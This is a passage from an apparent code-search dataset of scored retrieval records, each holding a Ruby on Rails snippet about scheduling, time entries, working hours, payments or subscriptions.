@agendamento = Agendamento.where(:event_id => @event.id)\n @agendamento.each do |ag|\n ag.destroy\n end\n @inicio=Date.parse(@event.starts_at.to_s)\n @fim=Date.parse(@event.ends_at.to_s)\n if @inicio == @fim\n @agendamento = Agendamento.new\n @agendamento.data_inicio = @event.starts_at\n @agendamento.data_fim = @event.ends_at\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.save\n else\n @inicio.upto(@fim) do |int|\n\n case int.wday\n when 0\n if @event.domingo == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.save\n end\n when 1\n if @event.segunda == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.save\n end\n when 2\n if @event.terca == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.save\n end\n when 3\n if @event.quarta == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.save\n end\n when 4\n if @event.quinta == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.save\n end\n when 5\n if @event.sexta == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.save\n end\n when 6\n if @event.sabado == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.save\n end\n end\n end\n end\n\n #Chama a fun�ao de valida��o caso seja um evento conflitante destroy o que acabou de ser criado.\n\n format.html { redirect_to(@event, :notice => 'Evento criado com sucesso.') }\n format.xml { render :xml => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ff74b84439bc3e089e09fc4b3044fb41", "score": "0.50070065", "text": "def recount_paid_upto_via_promo promo_id\n new_date = self.paid_upto.to_time + Promo.find(promo_id).period.to_i.months\n self.freeze_days = days_remain if !plan.free?\n self.update_attribute(:paid_upto, new_date)\n rescue\n false\n end", "title": "" }, { "docid": "41ba860ff540f085bc0cda4d25f869b9", "score": "0.49946815", "text": "def timer\n @entries = Entry.where({oauth_id: @oauth.id}).where.not(:post_hour=>nil, :post_min=>nil).order(\"post_hour ASC, post_min ASC\").page(params[:page])\n end", "title": "" }, { "docid": "68120981ed504c6e35865432363a8397", "score": "0.49927396", "text": "def update\n @dato[:indicator_id] = params[:dato][:indicator_id]\n @indicador = Indicator.find(@dato[:indicator_id])\n \n @dato[:anio] = params[:dato][:anio]\n @dato[:enero] = params[:dato][:enero]\n @dato[:febrero] = params[:dato][:febrero]\n @dato[:marzo] = params[:dato][:marzo]\n @dato[:abril] = params[:dato][:abril]\n @dato[:mayo] = params[:dato][:mayo]\n @dato[:junio] = params[:dato][:junio]\n @dato[:julio] = params[:dato][:julio]\n @dato[:agosto] = params[:dato][:agosto]\n @dato[:septiembre] = params[:dato][:septiembre]\n @dato[:octubre] = params[:dato][:octubre]\n @dato[:noviembre] = params[:dato][:noviembre]\n @dato[:diciembre] = params[:dato][:diciembre]\n\n @total = (@dato[:enero] + @dato[:febrero] + @dato[:marzo] + @dato[:abril] + @dato[:mayo]+ @dato[:junio] + @dato[:julio] + @dato[:agosto] + @dato[:septiembre] + @dato[:octubre] + @dato[:noviembre] + @dato[:diciembre])\n \n @diferencia = 0\n if @dato[:total] != @total\n @diferencia = @dato[:total] - @total\n end\n \n @id = @dato[:id]\n @porcentaje = 0.0\n @indicador.datos.each do |dato|\n if @indicador.tipo == 'porcentaje'\n if @indicador.datos.count >= 1\n if @dato[:total] != @total\n @diferencia = @dato[:total] - @total\n @porcentaje = '%.2f' % ((@total / (@indicador.datos.sum(:total).to_f - @diferencia)) * 100)\n else\n @porcentaje = '%.2f' % ((@dato[:total] / @indicador.datos.sum(:total).to_f) * 100)\n end\n else\n @porcentaje = 0\n end\n elsif @indicador.tipo == 'reducir'\n if @indicador.datos.count >= 1\n if @dato[:total] != @total\n if @id == dato.id\n @anterior = Dato.find(dato.anterior)\n @porcentaje = '%.2f' % (((@anterior[:total] - @total)*100) / @anterior[:total])\n puts \"Total año anterior: #{@anterior[:total]}\" \n end\n else\n @porcentaje = dato.porcentaje\n end\n puts @total\n puts @indicador.datos.sum(:total)\n puts @porcentaje \n else\n @porcentaje = 0\n end\n elsif @indicador.tipo == 'incremento'\n if @indicador.datos.count >= 1\n if @dato[:total] != @total\n if @id == dato.id\n @anterior = Dato.find(dato.anterior)\n @porcentaje = '%.2f' % (((@total - @anterior[:total])*100) / @total)\n end\n else\n @porcentaje = dato.porcentaje\n end\n else\n @porcentaje = 0\n end\n else\n @porcentaje = 0\n end\n end\n #render json: @porcentaje\n #puts (@total / (@indicador.datos.sum(:total).to_f - @diferencia)) * 100\n #puts @total \n #puts @porcentaje \n #puts @indicador.datos.sum(:total).to_f - @diferencia\n\n @dato[:total] = @total\n @dato[:porcentaje] = @porcentaje\n \n#=begin \n respond_to do |format|\n if @dato.save\n \n @indicador.datos.each do |dato_db|\n if @indicador.tipo == 'porcentaje'\n if @indicador.datos.count >= 1 \n if @id == dato_db[:id]\n dato_db[:porcentaje] = '%.2f' % ((@total / @indicador.datos.sum(:total).to_f) * 100)\n else\n dato_db[:porcentaje] = '%.2f' % ((dato_db[:total] / @indicador.datos.sum(:total).to_f) * 100)\n end \n #dato_db[:porcentaje] = '%.2f' % ((dato_db[:total] / @indicador.datos.sum(:total).to_f) * 100)\n dato_db.save\n end \n end\n end\n #return true\n format.html { redirect_to datos_url, notice: 'Los datos se fue editaron con exitó.' }\n format.json { render :show, status: :ok, location: @dato }\n else\n format.html { render :edit }\n format.json { render json: @dato.errors, status: :unprocessable_entity }\n end\n end\n#=end\n end", "title": "" }, { "docid": "306486f9a97cb27e7ca7be973da2e9d2", "score": "0.49848267", "text": "def updateSemHours(id, new_sem_hours)\n member = User.find(id)\n old_hours = member.sem_hours\n if new_sem_hours.is_a? Numeric\n if self.is_officer == 1\n member.update_attribute(:sem_hours, old_hours.to_i + new_sem_hours.to_i)\n end\n else \n return \"Not an actual number, try again.\"\n end \n end", "title": "" }, { "docid": "20252f53ffe76fc41b77c0045f15c53b", "score": "0.49822766", "text": "def set_downtime(hours)\n end", "title": "" }, { "docid": "20252f53ffe76fc41b77c0045f15c53b", "score": "0.49822766", "text": "def set_downtime(hours)\n end", "title": "" }, { "docid": "4906536897c29a4967eae982e959123d", "score": "0.49758637", "text": "def set_time_entry\n @time_entry = TimeEntry.find(params[:id])\n unless current_user.admin? || @time_entry.user == current_user\n render json: {\n errors: [I18n.t('time_entry.forbidden_entry')],\n }, status: :forbidden\n end\n end", "title": "" }, { "docid": "80b5aab34f2c9f3d8ad59501e40d891d", "score": "0.4973602", "text": "def apply!(hours)\n self.applied_hours += hours\n end", "title": "" }, { "docid": "2ae976834a01de59feb76ec1665d3cc7", "score": "0.49702248", "text": "def guardar_dinero_apuesta numero_apuesta\n @dinero += @apuestas_juegos[numero_apuesta - 1]\n @apuestas_juegos[numero_apuesta - 1] = 0\n end", "title": "" }, { "docid": "11eac5a0e0701615bc080eb494e24191", "score": "0.4968493", "text": "def ci_time_entry\r\n\r\n def valide_time_entry_chande_status\r\n # if Setting.plugin_custom_improvements['improvements_disable_status'] == '0'\r\n # if Issue.find(issue).status_id == 1 and issue.status_id == 1\r\n # issue.update(status_id: 2)\r\n # issue.update(status_id: IssueStatus.find(2))\r\n # end\r\n # end\r\n end\r\n\r\n def errors_add_spent_on?(arg, setting)\r\n if Setting.plugin_custom_improvements[setting] == '0'\r\n i = 0\r\n date = arg\r\n date_now = Date.strptime(Time.now.strftime('%Y-%m-%d'), '%Y-%m-%d')\r\n return true if date > date_now\r\n end\r\n false\r\n end\r\n\r\n def errors_add_issue_is_fihish?(arg, setting)\r\n if Setting.plugin_custom_improvements[setting] == '0'\r\n begin\r\n if arg.status_id == 3\r\n return true\r\n end\r\n rescue\r\n errors.add :base\r\n end\r\n end\r\n false\r\n end\r\n\r\n def errors_add_issue_on_tracker?(hours, arg, setting)\r\n check = false\r\n field_value = nil\r\n field_id = Setting.plugin_custom_improvements['improvements_disable_id_custom_fields_check'].to_i\r\n issue.custom_field_values.each do |item|\r\n if field_id == item.custom_field.id\r\n field_value = item.value\r\n end\r\n end\r\n if arg.status_id < 5\r\n if Setting.plugin_custom_improvements[setting] == '0'\r\n if (TrackerCheck.where(tracker_id: arg.tracker_id).size > 0 and (field_value == '1' or field_value.nil?))\r\n check = true if arg.estimated_hours.to_f.round(2) < arg.spent_hours.to_f.round(2) + hours.to_f.round(2)\r\n end\r\n end\r\n end\r\n check\r\n end\r\n\r\n #нельзя вносить больше, чем в estimate\r\n errors.add :base, :on_tracker if errors_add_issue_on_tracker?(hours, issue, 'improvements_disable_on_tracker') unless hours.nil?\r\n errors.add :issue_id, :is_finish if errors_add_issue_is_fihish?(issue, 'improvements_disable_finish')\r\n errors.add :spent_on, :date_arrived if errors_add_spent_on?(spent_on, 'improvements_disable_date')\r\n #автосмена статуса\r\n # valide_time_entry_chande_status if errors.messages.size == 0\r\n end", "title": "" }, { "docid": "f47e37d0477717815fdc60dd60429880", "score": "0.49645734", "text": "def total_hours\n time_entries.sum(:time)\n end", "title": "" }, { "docid": "ac61e34b2caec8add6514b949ebd2a10", "score": "0.49610505", "text": "def prepare_hours(time_diff)\n (time_diff/3600.0).round(TimeEntry::TOTAL_HOURS_SCALE)\n end", "title": "" }, { "docid": "00263a9b678878769b8b7bcfdee0c476", "score": "0.49608716", "text": "def increase_till_by_entry_fee\n @cashintill += @entryfee\n end", "title": "" }, { "docid": "f3442dc70d5ab68360ff4eb74621baef", "score": "0.49440995", "text": "def set_time_entry_actual_duration\n data=params\n @time_entry = Physical::Timeandexpenses::TimeEntry.find(data[:id])\n #@dur_setng_is_one100th ? actual_duration = one_hundredth_timediffernce(@time_entry.actual_duration) : actual_duration = one_tenth_timediffernce(@time_entry.actual_duration)\n @previous_duration = @time_entry.actual_duration\n @previous_final_billed_amount = @time_entry.calculate_final_billed_amt\n @error=true \n ActiveRecord::Base.transaction do\n if data[:value].present?\n @time_entry.start_time = nil\n @time_entry.end_time = nil\n @time_entry.actual_duration = data[:value].to_f.roundf2(2) * 60.0\n @billed_amount = @time_entry.calculate_billed_amount\n @final_billed_amount = @time_entry.calculate_final_billed_amt\n @time_entry.final_billed_amount=@final_billed_amount\n @time_entry.save(false) \n #<!-------------Feature 11298----- ---------->\n get_receiver_and_provider\n if params[:time_entry_date].present?\n data=params\n\t\t unless @receiver.nil?\n\t\t\t @saved_time_entries_new = Physical::Timeandexpenses::TimeEntry.find(:all,:conditions => ['employee_user_id = ? and time_entry_date = ? and matter_people_id IS NULL and status = ? and is_billable = ?', @receiver.id, (!data[:time_entry_date].blank? ? data[:time_entry_date] : Time.zone.now.to_date), 'Open', true])\n else\n @saved_time_entries_new = []\n end\n else \n set_condition(@receiver,@time_entry, params[:view_type], params[:start_date], params[:end_date])\n @saved_time_entries_new = Physical::Timeandexpenses::TimeEntry.find(:all,:include=>[:expense_entries,:acty_type,:created_by,:performer,:matter],:conditions => @t_condition)\n end\n get_total_hours_for_all_status\n get_total_billable_time_amount_status\n #<!------------------ ----------------------- >\n @error=false\n end\n end\n end", "title": "" }, { "docid": "83427e3f2de76e5cc1045fe600cfb82c", "score": "0.4940048", "text": "def maximum_time_entry_per_day\n hours_to_block = User.current.maximum_hours_allowed_to_time_entry_per_day\n if hours_to_block.to_i > 0\n ayty_hours = get_hours_spent_on_day_by_user(User.current, spent_on.to_date, id)\n if ayty_hours\n hours_to_validate = ayty_hours.to_f + hours.to_f\n if hours_to_validate > hours_to_block.to_f\n errors.add(:maximum_time_entry_per_day, l(:label_hours_in_same_day, :hours => hours_to_block))\n end\n end\n end\n end", "title": "" }, { "docid": "3c68e0d95e9e4737c5dfc8ac61e1ccce", "score": "0.49344155", "text": "def validate_time_entry\n errors.add :amount, :invalid if amount && (amount < 0 || amount >= 1000000)\n errors.add :project_id, :invalid if project.nil?\n errors.add :issue_id, :invalid if (issue_id && !issue) || (issue && project!=issue.project)\n end", "title": "" }, { "docid": "d14a83572f5bc59338675618327e812d", "score": "0.4932859", "text": "def update\n \trespond_to do |format|\n\t\tformat.html {\n\t\t\ttotal = params[:total].to_f\n\t\t\tgatherEntries\n\t\t\tset_loggable_projects\n\t\t\t@wktime = nil\n\t\t\tfindWktime(@mon)\n\t\t\t@wktime = Wktime.new if @wktime.nil?\n\t\t\tgatherWkCustomFields(@wktime)\n\t\t\terrorMsg = nil\n\t\t\tTimeEntry.transaction do\n\t\t\t\tbegin\t\t\t\t\n\t\t\t\t\tif !params[:wktime_save].blank? ||\n\t\t\t\t\t\t!params[:wktime_submit].blank?\n\t\t\t\t\t\t@wktime.status = :n\n\t\t\t\t\t\t# save each entry\n\t\t\t\t\t\t@entries.each do |entry|\n\t\t\t\t\t\t\terrorMsg = updateEntry(entry)\n\t\t\t\t\t\t\tbreak unless errorMsg.blank?\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif !params[:wktime_submit].blank?\n\t\t\t\t\t\t\t@wktime.submitted_on = Date.today\n\t\t\t\t\t\t\t@wktime.submitter_id = User.current.id\n\t\t\t\t\t\t\t@wktime.status = :s\n\t\t\t\t\t\t\tif !Setting.plugin_redmine_wktime['wktime_uuto_approve'].blank? &&\n\t\t\t\t\t\t\t\tSetting.plugin_redmine_wktime['wktime_uuto_approve'].to_i == 1\n\t\t\t\t\t\t\t\t@wktime.status = :a\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t@wktime.hours = total\n\t\t\t\t\t\terrorMsg = \tupdateWktime if (errorMsg.blank? && total > 0.0)\n\t\t\t\t\tend\n\n\t\t\t\t\tif errorMsg.blank?\n\t\t\t\t\t\tif !params[:wktime_approve].blank?\n\t\t\t\t\t\t\terrorMsg = updateStatus(:a)\n\t\t\t\t\t\telsif !params[:wktime_reject].blank? || !params[:hidden_wk_reject].blank?\n\t\t\t\t\t\t\t@wktime.notes = params[:wktime_notes] unless params[:wktime_notes].blank?\n\t\t\t\t\t\t\terrorMsg = updateStatus(:r)\n\t\t\t\t\t\telsif !params[:wktime_unsubmit].blank?\n\t\t\t\t\t\t\terrorMsg = updateStatus(:n)\n\t\t\t\t\t\telsif !params[:wktime_unapprove].blank?\n\t\t\t\t\t\t\terrorMsg = updateStatus(:s)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\trescue Exception => e\t\t\t\n\t\t\t\t\terrorMsg = e.message\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif errorMsg.nil?\n\t\t\t\t\t#when the are entries or it is not a save action\n\t\t\t\t\tif !@entries.blank? || !params[:wktime_approve].blank? || \n\t\t\t\t\t\t(!params[:wktime_reject].blank? || !params[:hidden_wk_reject].blank?) ||\n\t\t\t\t\t\t!params[:wktime_unsubmit].blank? || !params[:wktime_unapprove].blank? ||\n\t\t\t\t\t\t(!params[:wktime_submit].blank? && total > 0.0)\n\t\t\t\t\t\tflash[:notice] = l(:notice_successful_update)\n\t\t\t\t\telse\n\t\t\t\t\t\tflash[:notice] = l(:error_wktime_save_nothing)\n\t\t\t\t\tend\n\t\t\t\t\t#redirect_back_or_default :action => 'index'\n\t\t\t\t\tredirect_to :action => 'index'\n\t\t\t\telse\t\t\t\t\t\n\t\t\t\t\tflash[:error] = l(:error_wktime_save_failed, errorMsg)\t\n\t\t\t\t\tif !params[:enter_issue_id].blank? && params[:enter_issue_id].to_i == 1\t\t\t\t\t\n\t\t\t\t\t\tredirect_to :action => 'edit', :user_id => params[:user_id], :mon => @mon,\n\t\t\t\t\t\t:enter_issue_id => 1\t\n\t\t\t\t\telse\n\t\t\t\t\t\tredirect_to :action => 'edit', :user_id => params[:user_id], :mon => @mon\n\t\t\t\t\tend\n\t\t\t\t\traise ActiveRecord::Rollback\n\t\t\t\tend\n\t\t\tend\n\t\t} \n\t\tformat.api {\n\t\t}\n\tend \n end", "title": "" }, { "docid": "21da3c7b8a5dc91911ff391cb4c923d1", "score": "0.4921046", "text": "def hora (fech, tiempo)\r\n 1 if DateTime.parse(fech + tiempo) rescue 0\r\nend", "title": "" }, { "docid": "e69c3ef148482e84d1f03e86b9787287", "score": "0.49199444", "text": "def aprende\n \thora\n end", "title": "" }, { "docid": "61881ee6ebdc0439960a29af3e032e51", "score": "0.49178442", "text": "def baixa_no_estoque(qtd)\n write_attribute(:qtd_estoque, (self.qtd_estoque - qtd))\n self.save(false)\n end", "title": "" }, { "docid": "fc265131e47af494b5877e725d962aa6", "score": "0.4916255", "text": "def user_ard_time_edit\n\n if accountant? and session[:acc_user_create_opt_4].to_i != 2\n flash[:notice] = _('You_have_no_view_permission')\n redirect_to :controller => \"callc\", :action => \"main\" and return false\n end\n\n dt = params[:daytype] ? params[:daytype] : ''\n et = params[:date][:hour] + \":\" + params[:date][:minute] + \":\" + params[:date][:second]\n st = params[:st]\n\n if st.to_s > et.to_s\n flash[:notice] = _('Bad_time')\n redirect_to :action => 'user_acustrates_full', :id => @customrate.user_id, :dg => @customrate.destinationgroup_id and return false\n end\n\n rdetails = @customrate.acustratedetails_by_daytype(params[:daytype])\n ard = Acustratedetail.where(:customrate_id => @customrate.id, :start_time => st, :daytype => dt).first\n\n unless ard\n flash[:notice] = _('Acustratedetail_not_found')\n redirect_to(:controller => \"callc\", :action => \"main\") and return false\n end\n\n # we need to create new rd to cover all day\n if (et != \"23:59:59\") and ((rdetails[(rdetails.size - 1)].start_time == ard.start_time))\n nst = Time.mktime('2000', '01', '01', params[:date][:hour], params[:date][:minute], params[:date][:second]) + 1.second\n @ards.each { |a|\n na = Acustratedetail.new\n na.from = a.from\n na.duration = a.duration\n na.artype = a.artype\n na.round = a.round\n na.price = a.price\n na.customrate_id = a.customrate_id\n na.start_time = nst\n na.end_time = \"23:59:59\"\n na.daytype = a.daytype\n na.save\n\n a.end_time = et\n a.save\n }\n end\n\n flash[:status] = _('Rate_details_updated')\n redirect_to :action => 'user_acustrates_full', :id => @customrate.user_id, :dg => @customrate.destinationgroup_id\n end", "title": "" }, { "docid": "9939b10104e30d7f2128cadffe8e382a", "score": "0.490732", "text": "def update\n if current_user.admin?\n if params[:paid_time_entry][:user_id].empty?\n params[:paid_time_entry][:user_id] = current_user.id\n end\n else\n params[:paid_time_entry][:user_id] = current_user.id\n end\n\n @teams = current_user.teams\n @paid_time_entry = PaidTimeEntry.find(params[:id])\n @paid_time_entry.skip_date_range_check = current_user.admin?\n @user = @paid_time_entry.user\n\n respond_to do |format|\n if @paid_time_entry.update_attributes(params[:paid_time_entry])\n format.html { redirect_to @paid_time_entry, notice: 'Paid time entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @paid_time_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb4bd912ee99a7ef309b93ca10640f0e", "score": "0.49047643", "text": "def update\n @autorizacion = Autorizacion.find(params[:id])\n respond_to do |format|\n if @autorizacion.update_attributes(params[:autorizacion])\n @autorizacion.horas = (@autorizacion.salida-@autorizacion.entrada)/3600\n @autorizacion.save\n flash[:notice] = 'Autorizacion actualizada correctamente.'\n format.html { redirect_to(@autorizacion) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @autorizacion.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a7e83bb1d65652cf52588602eb37f8f", "score": "0.49039742", "text": "def extra_hours(user=nil)\n if user\n hours = self.hours.where(:user => user, :extra => true)\n else\n hours = self.hours.where(:extra => true)\n end\n hours.to_a.sum { |hour| hour.amount }\n end", "title": "" }, { "docid": "b5ec7c374504ef9eb6e906bb11daf001", "score": "0.4902763", "text": "def ora_fine(ora_inizio, durata, minuti)\n return (Time.parse(ora_inizio) + durata.to_f()*minuti*60).to_s[11..15] \n end", "title": "" }, { "docid": "c9cc291f81a30fa473bd8262297325ee", "score": "0.49027014", "text": "def update\n \n @historico = Historico.new\n \n @valido = true\n @estornado = false\n @valor = params[:historico][:valor]\n @aporte = params[:historico][:aporte]\n \n @historicobanco = Historico.find(params[:id])\n @conta_origem = @historicobanco.contaorigem\n @conta_destino = @historicobanco.contadestino\n \n \n @historicoestornado = Historico.select(:id).where(contaorigem: @historicobanco.contaorigem, contadestino: @historicobanco.contadestino, valor: @valor, status: 'ESTORNADO')\n \n if @historicoestornado.any?\n @estornado = true\n @historico.errors[:base] << \"O pagamento já foi estornado\"\n elsif @conta_destino.saldo < @valor.to_i\n @valido = false\n @historico.errors[:base] << \"O estorno não pode ser realizado, pois a conta não tem saldo suficiente\"\n elsif @historicobanco.aporte != @aporte && @historicobanco.tipotransacao == 'AP'\n @valido = false\n @historico.errors[:base] << \"O código de aporte informado é inválido\"\n else\n @conta_origem.saldo = @conta_origem.saldo + @valor.to_i\n @conta_destino.saldo = @conta_destino.saldo - @valor.to_i\n \n @conta_origem.save\n @conta_destino.save\n end\n \n \n @historico.valor = @historicobanco.valor\n @historico.aporte = @historicobanco.aporte\n @historico.contaorigem = @historicobanco.contaorigem\n @historico.contadestino = @historicobanco.contadestino\n @historico.tipotransacao = @historicobanco.tipotransacao\n @historico.datatransacao = Time.now\n @historico.status = 'ESTORNADO'\n \n \n respond_to do |format|\n \n if @estornado == true\n format.html { redirect_to historicos_url, notice: 'O pagamento já foi estornado!' }\n format.json { render json: @historico.errors, status: :unprocessable_entity }\n elsif @valido == false \n format.html { render :edit }\n format.json { render json: @historico.errors, status: :unprocessable_entity }\n elsif @historico.save\n format.html { redirect_to historicos_url, notice: 'Estorno realizado com sucesso!' }\n format.json { render :index, status: :created, location: @historico }\n else\n format.html { render :edit }\n format.json { render json: @historico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8dcd9053f350a715cf5a803806691089", "score": "0.4901425", "text": "def diminuerQuantite\n \t#_____ PARAMS ENVOYER ID Abonnement ____\n \t@abonnement = Abonnement.find(params[:id_abonnement])\n \t@isnt_yours = 0\n \tif Abonnement.exists?(@abonnement)\n \t\t\n \t\t#______ VERIF SI CLIENT CONNECTED OR NOT AND SI ABONNEMENT ASSOCIE AU CLIENT OU A LA SESSION ______\n \t\tif current_client.nil?\n\t \t\tif @abonnement.session_id != session[:abonnement_id]\n\t \t\t\tflash[:notice] = \"Cet abonnement n'est pas a vous\"\n\t \t\t\t@isnt_yours = 1\n\t \t\tend\n\t \telse\n\t \t\tif @abonnement.client_id != current_client.id\n\t \t\t\tflash[:notice] = \"Cet abonnement n'est pas a vous\"\n\t \t\t\t@isnt_yours = 1\n\t \t\tend\n\t \tend\n \t\t\n \t\tif @isnt_yours == 0\n \t\t\tif @abonnement.quantite == 1\n \t\t\t\t#___ ON ANNULE LABONNEMENT\n \t\t\t\t@abonnement.etat = 'annule'\n \t\t\t\tif @abonnement.save\n \t\t\t\t\tflash[:notice] = \"Abonnement enlever du panier\"\n \t\t\t\t\tredirect_to process_order_resume_path\n \t\t\t\tend\n \t\t\telse\n \t\t\t\t@abonnement.quantite -= 1\n\t\t \t\tif @abonnement.save\n\t\t \t\t\tflash[:notice] = \"Quantite panier/abonnmement diminuer\"\n\t\t \t\t\tredirect_to process_order_resume_path\n\t\t \t\telse\n\t\t \t\t\tflash[:notice] = \"ERREUR\"\n\t\t \t\t\tredirect_to process_order_resume_path\n\t\t \t\tend\n \t\t\tend\n\t \telse\n\t \t\tredirect_to process_order_resume_path\n\t \tend\n \telse\n \t\tflash[:notice] = \"Abonnement n'existe pas\"\n \t\tredirect_to process_order_resume_path\n \tend\n end", "title": "" }, { "docid": "b7673b51031cbb1da46fb1c3413ab443", "score": "0.48858163", "text": "def create\n @idopont = Idopont.new(idopont_params)\n @kezeles = Kezele.all\n\n @todos = Kezele.find(params[:todos])\n @needed_minutes = 0\n\n @todos.each do |todo|\n @idopont.todo.push(todo.name)\n @needed_minutes += todo.minutes\n end\n\n @idopont.user = current_user\n @idopont.toTime = Time.at(@idopont.fromTime.to_i + @needed_minutes*60 ).to_datetime\n\n respond_to do |format|\n if @idopont.save\n format.html { redirect_to @idopont, notice: t('message.appo_created') }\n format.json { render :show, status: :created, location: @idopont }\n else\n format.html { render :new }\n format.json { render json: @idopont.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1960e776eb7a12390e22adc4b34bd83a", "score": "0.48857844", "text": "def actualizar_boletas\n\n pendiente = boleta.importe_pendiente\n\n if deleted?\n pendiente += monto_utilizado # sumar el monto utilizado si se eliminar el recibo\n else\n pendiente -= (monto_utilizado.to_f - monto_utilizado_was.to_f) # restar la diferencia al crear o actualizar\n end\n\n boleta.update_columns(importe_pendiente: pendiente, estado: pendiente == 0 ? :pagado : :pendiente)\n\n end", "title": "" }, { "docid": "b63761e6de00f704603de49512b7b6c5", "score": "0.48826808", "text": "def marcar_como_no_terminada\n self.fecha_completada = nil\n #actualizamos los tiempos de entrega\n self.tiempo_respuesta = 0\n self.tiempo_respuesta_calendario = 0\n end", "title": "" }, { "docid": "353d946c4fdcfedb908af48d04e92229", "score": "0.4876135", "text": "def update\n Rails.logger.info \"++++update page \"\n start_time = Time.now\n setup\n set_loggable_projects\n @wktime = nil\n errorMsg = nil\n respMsg = nil\n findWkTE(@startday)\n @wktime = getWkEntity if @wktime.nil?\n allowApprove = false\n if api_request?\n errorMsg = gatherAPIEntries\n errorMsg = validateMinMaxHr(@startday) if errorMsg.blank?\n total = @total\n #allowApprove = true if check_approvable_status\n else\n total = params[:total].to_f\n gatherEntries\n p \"+++++++++gatherEntries+++++=\"\n p\n allowApprove = true\n end\n \n errorMsg = gatherWkCustomFields(@wktime) if @wkvalidEntry && errorMsg.blank?\n wktimeParams = params[:wktime]\n cvParams = wktimeParams[:custom_field_values] unless wktimeParams.blank?\n useApprovalSystem = (!Setting.plugin_redmine_wktime['wktime_use_approval_system'].blank? &&\n Setting.plugin_redmine_wktime['wktime_use_approval_system'].to_i == 1)\n @wktime.transaction do\n begin\n errorMsg\n if errorMsg.blank? && (!params[:wktime_save].blank? ||\n (!params[:wktime_submit].blank?))\n if !@wktime.nil? && ( @wktime.status == 'n' || @wktime.status == 'r' || @wktime.status == 'l1' || @wktime.status == 'l2' || @wktime.status == 'l3')\n\n if (!@wktime.status == 'l1' || !@wktime.status == 'l2' || !@wktime.status == 'r' || !@wktime.status == 'l3')\n @wktime.status = :n\n end\n # save each entry\n entrycount=0\n entrynilcount=0\n @entries.each do |entry|\n entry.save\n entrycount += 1\n entrynilcount += 1 if (entry.hours).blank?\n allowSave = true\n if (!entry.id.blank? && !entry.editable_by?(@user))\n allowSave = false\n end\n errorMsg = updateEntry(entry) if allowSave\n break unless errorMsg.blank?\n entry.delete if entry.hours == nil\n end\n\n if !params[:wktime_submit].blank? && useApprovalSystem\n @wktime.submitted_on = Date.today\n @wktime.submitter_id = User.current.id\n @wktime.status = :l1\n if !Setting.plugin_redmine_wktime['wktime_uuto_approve'].blank? &&\n Setting.plugin_redmine_wktime['wktime_uuto_approve'].to_i == 1\n @wktime.status = :a\n end\n end\n end\n setTotal(@wktime,total)\n #if (errorMsg.blank? && total > 0.0)\n errorMsg = \tupdateWktime if (errorMsg.blank? && ((!@entries.blank? && entrycount!=entrynilcount) || @teEntrydisabled))\n end\n\n if errorMsg.blank? && useApprovalSystem\n if !@wktime.nil? && @wktime.status == 's'\n if !params[:wktime_approve].blank? && allowApprove\n errorMsg = updateStatus(:a)\n elsif (!params[:wktime_reject].blank? || !params[:hidden_wk_reject].blank?) && allowApprove\n if api_request?\n teName = getTEName()\n if !params[:\"wk_#{teName}\"].blank? && !params[:\"wk_#{teName}\"][:notes].blank?\n @wktime.notes = params[:\"wk_#{teName}\"][:notes]\n end\n else\n @wktime.notes = params[:wktime_notes] unless params[:wktime_notes].blank?\n end\n errorMsg = updateStatus(:r)\n if email_delivery_enabled?\n sendRejectionEmail\n end\n elsif !params[:wktime_unsubmit].blank?\n errorMsg = updateStatus(:n)\n end\n elsif !params[:wktime_unapprove].blank? && !@wktime.nil? && @wktime.status == 'a' && allowApprove\n errorMsg = updateStatus(:s)\n end\n end\n rescue Exception => e\n errorMsg = e.message\n end\n\n if errorMsg.nil?\n #when the are entries or it is not a save action\n if !@entries.blank? || !params[:wktime_approve].blank? ||\n (!params[:wktime_reject].blank? || !params[:hidden_wk_reject].blank?) ||\n !params[:wktime_unsubmit].blank? || !params[:wktime_unapprove].blank? ||\n ((!params[:wktime_submit].blank? || !cvParams.blank?) && total > 0.0 && @wkvalidEntry)\n respMsg = l(:notice_successful_update)\n else\n respMsg = l(:error_wktime_save_nothing)\n end\n else\n respMsg = l(:error_te_save_failed, :label => setEntityLabel, :error => 